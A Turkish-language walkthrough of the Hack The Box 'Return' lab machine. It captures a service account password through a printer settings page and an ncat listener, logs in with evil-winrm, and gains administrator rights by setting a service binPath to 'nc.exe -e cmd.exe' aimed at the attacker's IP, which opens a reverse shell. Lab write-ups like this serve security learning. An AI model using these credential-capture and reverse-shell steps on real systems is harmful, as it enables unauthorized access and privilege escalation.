Merhabalar bu yazımda Hackthebox Return Makine Çözümü sizler için paylaşacağım.
- Makine Linki: https://www.hackthebox.com/machines/return
- Makine Zorluğu: Kolay
- Makine İşletim Sistemi: Windows
1- İlk olarak nmap taraması ile başlıyorum. Baktığımda Windows makine olduğunu tespit ediyorum. Çok fazla port açık ve benim dikkatimi çeken 80.port ve 445. portlar. İncelemeye başlıyorum.
2- 80. porta gittiğimizde http olarak girdim ve karşımıza yazıcı ayarları çıktı. HTP Printer tarzı bir sayfa bizi karşıladı.
Server adress’e kendi local ip adresimizi yazarak geri bağlantı alıp şifreyi görebiliriz.
Şifreyi bulabilirsek makine içerisine giriş yapma olanağımız olabilir.
3- Önce ncat -lvnp 389 yazarak portu dinlemeye aldık. Kendi VPN ip adresimi yazdıktan sonra update yaptım ve bağlantı gelmiş olması lazım.
4- Evet direkt olarak karşımıza şifreyi çıkardı. Buradan anladığımız kullanıcı adı svc-printer şifre 1edFg43012!! olarak tespit ettik. Şimdi makine içerisine girmeye çalışalım.
5- Evil-winrm ile direkt windows makine içerisine geçiş yapıyoruz.
- Kullanıcı adı: svc-printer
- şifre: 1edFg43012!!
Sizde yoksa apt-get install evil-winrm yazarak kurabilirsiniz. Evil-winrm uzak windows makinelerinin içerisine direkt giriş yapma olanağı sağlıyor.
evil-winrm -i 10.10.11.108 -u svc-printer -p ‘1edFg43012!!’ yazdık ve içerdeyiz.
İlginizi çekebilecek yazımız: Yeni Bluetooth Açığı, Bilgisayar Korsanlarının Cihazları Ele Geçirmesine İzin Verdi
6- Desktop içerisine gelerek ilk bayrağımızı bulduk. Windows makinelerde type ile direkt içerikleri okuyabilirsiniz. Burada cat, ls gibi komutları kullanamazsınız.
7- Kullanıcıları inceledim. İçerisine net user svc-printer ile ayarlama yapıyorum.
Amacım reverse shell almaya çalışmak, böylece direkt administrator içerisine geçiş yapabiliriz.
8- upload /root/nc.exe yazarak root klasörü içerisindeki nc.exe’yi makineye yüklüyoruz. Tab tuşuna bastığınızda dizin yolunu kendi otomatik tamamlar. 🙂
Nc.exe indirme linki: Github
9- Öncesinde ncat -lvnp 9001 port ile dinlemeyi başlatalım. Bağlantılar artık direkt ncat içerisine gelecektir.
Sırasıyla;
- sc.exe config vss binPath=”C:\Users\svc-printer\Desktop\nc.exe -e cmd.exe vpn ip adresiniz 9001″ yazıp enter yapıyoruz.
- sc.exe stop vss
- sc.exe start vss
Bu komutlar ile önce Path üzerinden servis üzerinde shell almaya çalışıyoruz. Aslında baktığımızda Linux sunuculara göre biraz daha kolaylığı var ve yetki yükseltme aşamaları daha keyifli. 🙂
Daha sonra servisi durdurup sıfırdan başlattığımızda direkt olarak ncat üzerine bağlantı gidecektir.
10- Direkt cd C:\Users\Administrator\Desktop içerisine hızlıca geçiş yapabilirsiniz.
type root.txt direkt son bayrağı bulduk.
Hackthebox Return Makine Çözümü sonuna geldik. Yeni yazılarda görüşmek üzere. Sağlıcakla kalın..
